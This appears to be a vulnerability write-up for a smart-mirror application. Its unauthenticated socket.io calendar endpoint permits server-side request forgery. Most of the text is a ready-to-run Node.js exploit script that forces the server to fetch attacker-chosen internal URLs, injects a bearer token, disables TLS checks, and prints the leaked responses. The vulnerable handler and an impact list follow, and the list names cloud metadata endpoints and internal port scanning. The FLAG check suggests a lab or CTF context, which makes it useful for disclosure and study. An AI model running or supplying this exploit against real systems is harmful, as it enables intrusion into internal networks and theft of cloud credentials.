The /calendar namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.

Exploit (exploit-ssrf-calendar.js)

const { io } = require("socket.io-client");

const TARGET = process.env.MM || "http://TARGET:8888";
const INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || "https://webhook.site/";

const socket = io(`${TARGET}/calendar`, { path: "/socket.io", transports: ["websocket", "polling"] });

socket.onAny((event, payload) => {
	if (event === "CALENDAR_EVENTS") {
		console.log("\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):");
		for (const ev of payload.events || []) {
			console.log("    SUMMARY:", ev.title);
			if (ev.title && ev.title.includes("FLAG{")) {
				console.log("\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:");
				console.log("      " + ev.title);
				process.exit(0);
			}
		}
	} else if (event === "CALENDAR_ERROR") {
		console.log("[-] CALENDAR_ERROR:", JSON.stringify(payload));
	}
});

socket.on("connect", () => {
	console.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`);
	console.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`);
	socket.emit("ADD_CALENDAR", {
		url: INTERNAL_URL,
		fetchInterval: 60000,
		excludedEvents: [],
		maximumEntries: 10,
		maximumNumberOfDays: 3650,
		auth: { method: "bearer", pass: "internal-admin-token" },
		broadcastPastEvents: true,
		selfSignedCert: true,
		id: "pwn"
	});
});

socket.on("connect_error", (e) => console.log("[-] connect_error:", e.message));

setTimeout(() => { console.log("\n[*] timeout, exiting"); process.exit(1); }, 20000);

Vulnerable target code (pattern)

socketNotificationReceived(notification, payload) {
  if (notification === "ADD_CALENDAR") {
    const fetcher = new CalendarFetcher(
      payload.url,
      payload.fetchInterval,
      payload.excludedEvents,
      payload.maximumEntries,
      payload.maximumNumberOfDays,
      payload.auth,
      payload.broadcastPastEvents,
      payload.selfSignedCert
    );
    fetcher.fetchCalendar();
  }
}

Impact

• Reading internal services unreachable from the attacker's network (cloud metadata 169.254.169.254, admin panels on 127.0.0.1, services on the private network).
• Body exfiltration when the response is iCal (the PoC searches for FLAG{...} in event titles).
• Confused deputy / credential injection: the server attaches an attacker-controlled Authorization: Bearer ... header, allowing it to forge/replay credentials against the internal target.
• TLS bypass via selfSignedCert: true.
• Internal port scanning through error/timing differences.